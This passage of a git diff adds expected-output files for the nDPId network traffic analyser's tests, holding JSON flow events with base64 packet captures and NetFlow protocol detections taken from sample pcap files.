avv3SPijSdVha4Ascawu22WN1U4flfnrpnVZum6gPjeCCfMx+QV9U+HPiWHXaUyMt5j\/ANSIm3N9x6ha7XvHmywuL2wLTwQUwOVmhmh1ETZYbLXZFK5jjuAN\/lZSJopNBwFAlJL2RyinhKkIQMBOkrRaGzpFIKVoCkqTQgVITSQFI4KaXZVCRypJIFnlCZFGkIhUhNCBCkUhNAsITQgPyknSSAQnSECQnSKQJFUnSKRCRyikUij3SpOk6VRGkUpIr3UCr1QnSKzwgXdH7JkIpFJCdIpEKu6E6RSo56FKvulSpfIQhMeybCTpAT4QKkUmPdFZQFIT5CSA4RSdcIrCBdkJnhCISdYRSEUJIooz3QNACPwnRQKkJjIRSBITq0ICkk6wnSCNJp0kiAgFFIpMIoSpSpCbEaymU6R+ECQn2KKvhAIpFfdCBJoQgAlSlSKUCpCdZQgXKAE00CISpNCARX7oPKaBITpCBcpoRSKEITRCQmhAqQmjsgSE0IFSE+eE6RSpCOE0CQn+EIEhMBFICkk\/siq5QCOyaKQRTpOkIEhPCECRWUyEDhAkcpo745RCyAmhOvVRSQik1UJCdIpFFZXlPjrRNl6fBqCMRuIJ9ivWcFYOu6L+odE1enH1OYS37jKlawurt8m0vT36uOSSEMEcZovcaF+i5HU5ZtBMYZWlpq\/x6rdoOuQ6CKbQ64PELpNx2fyP4XK+K+sw9a6iyTTs2wsYGNBwTS8kucz1fD6e8Lh+3PjnYdSXvG4XZHquq2WNnU9PIWAiTbWeF52J1PIPddSV9aXSTDlpon7FdcvL1eiy3M5+v+zpdb023xWbaLXfwsHTZGtIp1bwWn2K39U1kWoDmtsl4Gfdefid4MxabAJu\/RTGdtPJl52970xp1uhMDpPPFgfZXQ9Ll0b3yMO4vFGwuF0rXnRObMCHEHY="} +02388{"flow_id":62,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6939,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319118,"pkt_ts_usec":950724,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcl8hAADwGW2C4GcwKwKgBBwBQ0ASr4SpMxYJHF4AQA6twsgAAAQEICv\/9arQfZfnIuB7hex0+u0+rg8SJwN9ryF5spcbuPVx5SzTganp0r3h07iXAUCTwFkfp4mDzfp\/lei1DC8ZJAXnutTw6XTFjMyyYFZKuNta1jjNuZ0lwf1nxskRhxA72RQC9NB0eKPQOjlY0vkFuv1K5vwl0wv1Xjv4Av\/svV6u2Aq597pOPHWO6+YdR0TtHqHxGy2\/KUaGbezwnHzt7leg63D8zdfU04XlXB8L8ggtPIXfG7mq8\/Jj03cjoFrmkBzQQtUXhmrYsDOo0wB7WuJ7g0pf1KvphH3LkuNZmcjpvYxuQBayzysiaS40sj+pTSDaKHsBlVx6TUaqQEg16u5STXkuW\/wCmE\/WPkdtYKHotEGne1heRTj3W3S9NZEAas+pWrwc1SmWX0uOF33ed1OmLTlp5VLGucA0j2XqpdA2VlurlZT0oxyWcrE5G7huuHEAx92b9Ao6qj5rF+ncLqS6UQ6q3\/SMlc\/VNEmpcQ2y7iu61Mt3s7Y8mXHhcfhme01wqSLPqutHonStcH20geX7+6wOhcxxG3Pp6LrK8OktFnVBvAcCFt0DPC1bonCieLWSGJ7ZWvGKNrswFpfJ4\/wDqvADHOHv2Quvh7P4P0rZPiLR7i0Fm6Sq7gYX1IxsJvY3d61leI\/4e9Idp4dXrJSXB0hZGXDkDk\/8ARe5W54ePku8iKSaFXIu6aFyuu9f0XQtE6bUSef8ATGOXH0RdNXUOpaXpenM+qlbGwd3Gr+y+RfF\/xU74hlbAwBmljNj1J9Vy+u9f1fXdU6XUP8pPljvDQuQZGDFF3vdKW\/T08fF80PkjZneL9AFWdYC2tpI+6qfISThoHoAqyXH0H3Cw7f2Sc4SX5ar1VZFBuf8A1TsEZyljdVWfuqnwkC7klXBwFYNqcMTQ3c4FSe4VdKba0qkdYWcm\/wDorZHDsMKsuBIvsiIgX3SIzwT9lI01H5\/hVLvSN3Q7JccKRAOKNhRO4ClUT3AgeWkqF7go7gcFG7acDCCwHuQtmg18+h1DJ9PK9kgOC0\/\/AHhc8Eu7hWA0B7Ky6S6s0+yfDHxL48TZXOa6wPFY3lp9fsvbb2SRtcxwvkL87dK6nP07UiWF3GCDwfYr7H8NdVi1kETg\/fu5s5afRb8x5c8bjXq94TBBKQaTyR+yntAWWCATTpMKLpBOlKkUENI0ilOkqQRRSlQ7IpBEopSpHbhBGkJopEJFJoRSRXunwilUI8oTpCGiRSdIpAkqUqx6o\/dAklI8opQKkKVIooI0nSYCdVlNrpCkUpopDSNIpSr1RSGkaRSlVIrCGkaRSlynhNrpBFKSOybTSOeydJoRSpKlNIqJ2KkUmD6otU7FSKQmg5yKTpFLbJIpOk0EavlP7popQCEFHKBcEpp9rSpUGD2RSdIUCAu7RSfdFIEj7YTrCAgRQnSK9kBSKwaTpCBBCaECQmhAUj3TpFIEj7p0ikC5RSdZTpDSIFopSr0QgVdkqTTpAkUmhFJCaEAhCaISEIpFFo4TRSBUhNCgVJ0ghCoEYKKRSAwhACaBITQoEhNNUKsIpPuikCpCYRSgSE0FAfZFITpUJATrKKUCR7FNMD1QRrCadJ7U2aqCAFPajaU2vTUaRSntPontU2dNV0ilZtRtTZ01XSdKzaltTZ01CkUplpRt9k2aQpACntRtV2aqFIpT2lFKGkKTpSpFK7TSACdKVIUUgE6sVSOFIeqD4V8f9H\/pXxBPtbUMv91hHFHlcvp3w67qOjZOJwJJHlscYFkkBfXvj7oJ6x0N00Lb1Om87fUt7hfE4uoa7p29umnfEMnHY91yzls\/i9nBnjJ3jnyQuZqHRuFFrtv2pbrE0Bj4a0kLnu3GQvuy42SfVTLnC3MPIyFbLZp6+DlnFlbZ2sv\/AFXRPc13h3dGgrpNHLPIxrGlz3cNGSU9Ppm6lhLcvGSFs6dNLoNbHqE="} +01334{"flow_id":61,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6945,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319119,"pkt_ts_usec":102211,"pkt_caplen":733,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":733,"pkt_l4_len":699,"pkt":"5JjWH70UgCqoTGHMCABFIALPblxAADwGh9m4GcwKwKgBBwBQ0APyPSFFJksT84AYA6upbgAAAQEICv\/9bDgfZfp3IFWjPMIowIVXy5JfcpHvebMeiKxVpzPgoYUIAwUKFMZHQyYgyGmrUyyLKEyyLGitUJGquRhizRXMqJdOmzodGi3D6nFqnzRuqs5lQn0mlv6czs6XU4xzPk9PfjHM62n1HLqXKmx794I1v4zwzSm\/mplKp\/bmv4M+jPJfhpx1afis+HWzxXqlmGeimv8AdfyPWdyOLzc526fF1\/4iQG5A3GWL9oLYpGwZHiL0gGTJBotQBANjSjFI2AZBIrzhjyZX1ZUI07I11ysnJRhFOUm+yXVn5c8VcZnxzxFruIyeVbY9i9ILlFfoke6\/Ebir4T4M1soT226jGnh\/q6\/wyfm+2eWzbxzJoUWSM02WWSKJMsFyR9MsGQZ9SaFVnqUyLbHyKX0yJUKwN4XQDFbEsWLkjfIDfISk7AQA9EBowAyTIjQj6kRAAEATIgPYgOxBgyCKEAvQyEQyEzrPY82SfuKR9WQTaIEBBlTZChV0CgI6YyYgew0nTHiytdBkUmr4y5FsJGdMsi+Y4it1czVXYc6DZorbKhOrVbjudCjUY7nErkzZVJ8ipSfS8P4jZpNVTqKpYsqmpxfunk\/R3C+JVcU4ZptbS04XVqax2fdfqflqqbz1PcPhTq7bvDN1U5ZjTqHGHsmk\/wCZHl53nSnyvQdwclOWHLObF6tyTJXkmWGDVmQZEyTIYRmxWwNi5HgM2DcLkA8AtkxgVdRmMPHvjXxP9twzhkXyjGWon9X8q\/kzxy2XU+7+LGosu8e66E5ZjVCuuC9FtT\/m2ef2M6J8kJVNlEnzHm2Ut8xUGyLJgyLJvJJpZySM7fIttb2ooYlSAxWFg7CXAfQVsjAgVBQG8hYvqI0IDsHogCdwZCugBBCEICsQASBCxEEAUMn\/2Q=="} diff --git a/test/results/netflow-fritz.pcap.out b/test/results/netflow-fritz.pcap.out new file mode 100644 index 000000000..149c2901a --- /dev/null +++ b/test/results/netflow-fritz.pcap.out @@ -0,0 +1,3 @@ +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"netflow-fritz.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1498072707863,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"192.168.1.1","src_port":23384,"dst_port":2055,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00647{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"netflow-fritz.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1498072707,"pkt_ts_usec":863157,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"AAwRERERAAwRIiIiCABFKADQAABAAD8R1PvAqAABwKgBAVtYCAcAvAAAAAoAtFlKxZ0CWWXEAAQBAAACAHABzQAWAAEABIDPAAQAAGjygMz\/\/wAAaPKAzf\/\/AABo8gAHAAIACwACAAYAAgCxAAEAsAABALQAAgC1AAIAAgAEAM0AAgC5AAQAuAAEAAgABAAMAAQANgAEAFgAAgAEAAEAwAABgAH\/\/wAAaPIAAwA0AdIABwABAI8ABAApAAgAKgAIACgACAEwAAIBMQAEATIABAHTAAIAAQCOAAQAUv\/\/"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"netflow-fritz.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1498072707863,"flow_last_seen":0,"flow_tot_l4_data_len":188,"flow_min_l4_data_len":188,"flow_max_l4_data_len":188,"flow_avg_l4_data_len":188,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.1","dst_ip":"192.168.1.1","src_port":23384,"dst_port":2055,"l4_proto":"udp","ndpi": {"proto":"NetFlow","breed":"Acceptable","category":"Network"}} diff --git a/test/results/netflowv9.pcap.out b/test/results/netflowv9.pcap.out new file mode 100644 index 000000000..15d5c36d8 --- /dev/null +++ b/test/results/netflowv9.pcap.out @@ -0,0 +1,12 @@ +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"netflowv9.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1568213026961,"flow_last_seen":0,"flow_tot_l4_data_len":1384,"flow_min_l4_data_len":1384,"flow_max_l4_data_len":1384,"flow_avg_l4_data_len":1384,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.134","dst_ip":"192.168.2.222","src_port":48629,"dst_port":2057,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02256{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961189,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"ACWQ1Mz5rB9rrWosCABFAAV8LBZAAEARgqbAqAKGwKgC3r31CAkFaHVWAAkAECROCO5dZ6gMFm+miAAAAAEBAwQkAAoEJE1qKCRNaigAAAAAAAAAKAAAAAAAAAABBo0ou7J9QF7TxAskWgIAkwAAlYsAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJEzp1CRNjMsAAAAAAAUbtAAAAAAAAASjBhdDjcSK9gL7ko0BuxoAkwAAMhAAAFHMhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJEzp3CRNjKAAAAAAAB2wnwAAAAAAAAZqBor2AvsXQ43EAbuSjRoAkwAAUcwAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1ybSRNcm0AAAAAAAAAKAAAAAAAAAABBoOfghRcdiVS2B5evAIAkwAAixYAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1rLyRNay8AAAAAAAAAKAAAAAAAAAABBor09llcdiVKtb1pkQIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2QhyRNkIcAAAAAAAAAKAAAAAAAAAABBor0qxxcdiVS2B5S8QIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2JWyRNiVsAAAAAAAAAKAAAAAAAAAABBoOfWVu53tNywXcEGgIAkwADMXgAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1qjSRNao0AAAAAAAAALAAAAAAAAAABBor2xOMr4aaiqY0AFgIAkwAAseAAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE2OYCRNjmAAAAAAAAAAKAAAAAAAAAABBo1UlODIXai05wABvQIAkwAAS+UAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE11kyRNdisAAAAAAAACRwAAAAAAAAAKBoG7\/klQ1h8GKsoBuxsAkwAAFSIAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE11kyRNdisAAAAAAAAWPwAAAAAAAAAIBlDWHwaBu\/5JAbsqyh4AkwAAMhAAABUihHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HTSRNh00AAAAAAAAAKAAAAAAAAAABBor1FpC5r10bvgPWnAIAkwAAiv4AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2Q4yRNkOMAAAAAAAAAKAAAAAAAAAABBoOfV4ZcdiVS2B5ZXgIAkwAAixYAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEAQIAVAAKBCRNhcskTYXLAAAAAAAAAHoAAAAAAAAAARHN+8cOjVQJ2YZdADUAkwAAMhAAAEB9hHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAQcA1AAKBiRNJ\/YkTYzBAAAAAAAAELEAAAAAAAAADwYgARa4LRoyANRG8rtzEZ1EIAFMoAAAAQMAAAAAgbv\/\/PfhAbvbAGwAACKxAAAyENhn2RiP2oR4rBWdQgAAAAAAAAAAAAAAAAAAAAAAAAoGJE0n9iRNjMEAAAAAAAAIZQAAAAAAAAAMBiABTKAAAAEDAAAAAIG7\/\/wgARa4LRoyANRG8rtzEZ1EAbv34RsAbAAAMhAAACKxhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAA="} +00519{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"netflowv9.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1568213026961,"flow_last_seen":0,"flow_tot_l4_data_len":1384,"flow_min_l4_data_len":1384,"flow_max_l4_data_len":1384,"flow_avg_l4_data_len":1384,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.134","dst_ip":"192.168.2.222","src_port":48629,"dst_port":2057,"l4_proto":"udp","ndpi": {"proto":"NetFlow","breed":"Acceptable","category":"Network"}} +02184{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961271,"pkt_caplen":1366,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1366,"pkt_l4_len":1332,"pkt":"ACWQ1Mz5rB9rrWosCABFAAVILBdAAEARgtnAqAKGwKgC3r31CAkFNLI1AAkAECROCO5dZ6gMFm+miQAAAAEBAwTEAAoEJE2HcCRNh3AAAAAAAAAAKAAAAAAAAAABBoOf7vm5sBu2oskXJAIAkwADHowAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2RayRNkWsAAAAAAAAAKAAAAAAAAAABBo0oBklcdiVS2B5jWQIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE10SSRNdEkAAAAAAAAAKAAAAAAAAAABBor2SWJcdiVKtb25AgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE10KiRNdCoAAAAAAAAAKAAAAAAAAAABBoOfXsy5sBu2oskPGwIAkwADHowAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2NbCRNjWwAAAAAAAAAKAAAAAAAAAABBor1CjVZ+KxV434I\/gIAkwADFrkAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HTiRNh2kAAAAAAAAArQAAAAAAAAACBhH8TA+K9gIpwNYUZxgAkwAAMhAAAALKhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2HWyRNh1sAAAAAAAAAnQAAAAAAAAACBor2AikR\/EwPFGfA1hgAkwAAAsoAADIQ2GfZGI\/ahHisFZ1CAAAAAAACAAAAAAAAAAAAAAAAAAoEJE1ycCRNcnAAAAAAAAAAKAAAAAAAAAABBor0oRm5sBu2oskF8wIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1qhiRNaoYAAAAAAAAAKAAAAAAAAAABBo1Umhq5r10JuVyC6gIAkwAAiv4AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2KayRNin8AAAAAAAAAcwAAAAAAAAACBlCeJjiK9gKwnKIUZxgAkwAAMhAAAIUmhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2KeiRNinoAAAAAAAAASwAAAAAAAAABBor2ArBQniY4FGecohgAkwAAhSYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1v8SRNb\/EAAAAAAAAAKAAAAAAAAAABBor0mjxcdiVS2B5xQQIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2M1CRNjNQAAAAAAAAAKAAAAAAAAAABBo0otfJcdiVS2B5oFAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1yviRNcr4AAAAAAAAAKAAAAAAAAAABBor0xzO5sBu2oskgMwIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1+PiRNfj4AAAAAAAAAKAAAAAAAAAABBor2SCBcdiVS2B5xvwIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAECAFQACgQkTYXUJE2F1AAAAAAAAAFBAAAAAAAAAAERjVQJ2c37xw4ANYZdAJMAAEB9AAAyENhn2RiP2oR4rBWdQgAAAAAAAAAAAAAAAAAAAAAAAA=="} +02257{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961377,"pkt_caplen":1418,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1418,"pkt_l4_len":1384,"pkt":"ACWQ1Mz5rB9rrWosCABFAAV8LBhAAEARgqTAqAKGwKgC3r31CAkFaPcdAAkAECROCO5dZ6gMFm+migAAAAEBAwQkAAoEJE18UiRNfFIAAAAAAAAAKAAAAAAAAAABBor1GIyKxVabf\/8hYQIAkwAANu0AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE188iRNfPIAAAAAAAAALAAAAAAAAAABBor1b6tTbs2s6Q\/qYQIAkwAAFQgAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0b5CRNjsgAAAAAAAAD+QAAAAAAAAAKBtg6zy6Bu8nv4FQBux4AkwAAMhAAADtBhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE0b7CRNjscAAAAAAAAH0wAAAAAAAAAIBoG7ye\/YOs8uAbvgVBoAkwAAO0EAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE13qiRNd6oAAAAAAAAAKAAAAAAAAAABBoG7U8O55eBgf\/8hYQIAkwAAodwAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE2RLCRNkSwAAAAAAAAAKAAAAAAAAAABBoOfCHdcdiVS2B5lPQIAkwAAixYAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2C\/iRNhM0AAAAAAAAG0wAAAAAAAAAIBiOxkHGNVP4E02gBuxoAkwAAMhAAAEB9hHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2DFCRNhM0AAAAAAAATxgAAAAAAAAAJBo1U\/gQjsZBxAbvTaBoAkwAAQH0AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE11DSRNdQ0AAAAAAAAALAAAAAAAAAABBor2Qvpdrl9qcVMffAIAkwADFrkAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2BfSRNgX0AAAAAAAAAKAAAAAAAAAABBo1UDOe5B+tq\/5UAUAIAkwAAISwAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1+qyRNfqsAAAAAAAAALAAAAAAAAAABBor1Lmtlbfp7vHIBvQIAkwAAXaEAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2AYyRNgGMAAAAAAAAAKAAAAAAAAAABBo1UHwVcdiVS2B5nAgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1t3iRNbd4AAAAAAAAAKAAAAAAAAAABBoOfiSJcdiVKtb1noAIAkwAAixYAAzG32GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEAQIAVAAKBCRNg0AkTYNAAAAAAAAAApoAAAAAAAAAARGDn7MEo6zlqFf+E8QAkwAAMkwAAzG32GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAQcA1AAKBiRNI9AkTYY5AAAAAAAAALUAAAAAAAAAAwYgAUygIAMBAAAAAAAAAAEzKgX1AAAQAQEAAAAAuT+RAcrSAbsRAGwAADIQAAA4TYR4rBWdQthn2RiP2gAAAAAAAAAAAAAAAAAAAAAAAAoGJE0j2SRNhkIAAAAAAAABGwAAAAAAAAAEBioF9QAAEAEBAAAAALk\/kQEgAUygIAMBAAAAAAAAAAEzAbvK0hkAbAAAOE0AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAA="} +02184{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961481,"pkt_caplen":1366,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1366,"pkt_l4_len":1332,"pkt":"ACWQ1Mz5rB9rrWosCABFAAVILBlAAEARgtfAqAKGwKgC3r31CAkFNPSKAAkAECROCO5dZ6gMFm+miwAAAAEBAwR0AAoEJE2MQyRNjEMAAAAAAAAAKAAAAAAAAAABBoG7GHW5sBu2oskQ8wIAkwADHowAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2N2iRNjdoAAAAAAAAAKAAAAAAAAAABBo1U+k3KfY5lynQNPQIAkwAAJVUAADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE18SSRNfEkAAAAAAAAAKAAAAAAAAAABBoOfK0xgJbzk0x8idgIAkwAAQZMAAzG32GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE138SRNd\/EAAAAAAAAAKAAAAAAAAAABBo0ow7ZcdiVKtb35CAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2GQyRNhkMAAAAAAAAAKAAAAAAAAAABBor0wQFcdiVKtb3HUgIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2DfiRNg34AAAAAAAAAKAAAAAAAAAABBor2FrZcdiVS2B5qjAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE18PyRNfD8AAAAAAAAAKAAAAAAAAAABBo1Up0FcdiVS2B5r1QIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE17iyRNe4sAAAAAAAAAPAAAAAAAAAABBg3sBqCBu1q758J2XwIAkwAAMhAAAEB9hHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2NhiRNjYYAAAAAAAAAKAAAAAAAAAABBor1iT+zPH\/q+PWRXwIAkwAEAA8AADIQ2GfZGI\/ahHisFZ1CAAAAAAAgAAAAAAAAAAAAAAAAAAoEJE2S4iRNkuIAAAAAAAAAKAAAAAAAAAABBo1UPAVcdiVKtb3HQAIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1zyiRNf34AAAAAAAAAaAAAAAAAAAACBoG7N9cYhuyhXSkMOAIAkwAAemYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE10QyRNicMAAAAAAAAOTQAAAAAAAAAOBkWtkIyNVA4cyLQBuxsAkwAAMhAAAGgrhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE10VCRNiaAAAAAAAAAWCAAAAAAAAAAOBo1UDhxFrZCMAbvItBsAkwAAaCsAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE19oiRNfaIAAAAAAAAAKAAAAAAAAAABBo0otGR9QF7TkZskWgIAkwAAlYsAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoBAgCkAAoEJE1+RiRNfkYAAAAAAAACnwAAAAAAAAABEY0or7OjrOWoV\/4TxACTAAAyTAAAMhDYZ9kYj9qEeKwVnUIAAAAAACAAAAAAAAAAAAAAAAAACgQkTYvDJE2LwwAAAAAAAABBAAAAAAAAAAERjVTKyMf3HnvTFQA1AJMAAE\/5AAAyENhn2RiP2oR4rBWdQgAAAAAAAAAAAAAAAAAAAAAAAA=="} +02174{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"netflowv9.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1568213026,"pkt_ts_usec":961588,"pkt_caplen":1362,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1362,"pkt_l4_len":1328,"pkt":"ACWQ1Mz5rB9rrWosCABFAAVELBpAAEARgtrAqAKGwKgC3r31CAkFMBHrAAkAECROCO5dZ6gMFm+mjAAAAAEBAwUUAAoEJE2SMCRNkjAAAAAAAAAAKAAAAAAAAAABBo0oeEF9QF7TgbUkWgIAkwAAlYsAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2JaCRNiWgAAAAAAAAAKAAAAAAAAAABBo1UNRi50QAh4ToRYwIAkwAAl54AADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJEz5IiRNcjMAAAAAAAAZGgAAAAAAAAAUBhH4kiqK9g5D6DsBuxsAkwAAMhAAAALKhHisFZ1C2GfZGI\/aAAAAAAAAAAAAAAAAAAAAAAAAAAoEJEz5KyRNcicAAAAAAAA1qwAAAAAAAAAUBor2DkMR+JIqAbvoOxsAkwAAAsoAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE2AfyRNgH8AAAAAAAAAKAAAAAAAAAABBor2smFcdiVS2B5l6QIAkwAAixYAADIQ2GfZGI\/ahHisFZ1CAAAAAAAAAAAAAAAAAAAAAAAAAAoEJE1vXSRNb10AAAAAAAAAKAAAAAAAAAABBo0oMRxcd6AhqNceOgIAkwAAwWEAADIQ2GfZGI\/ahHisFZ1CAA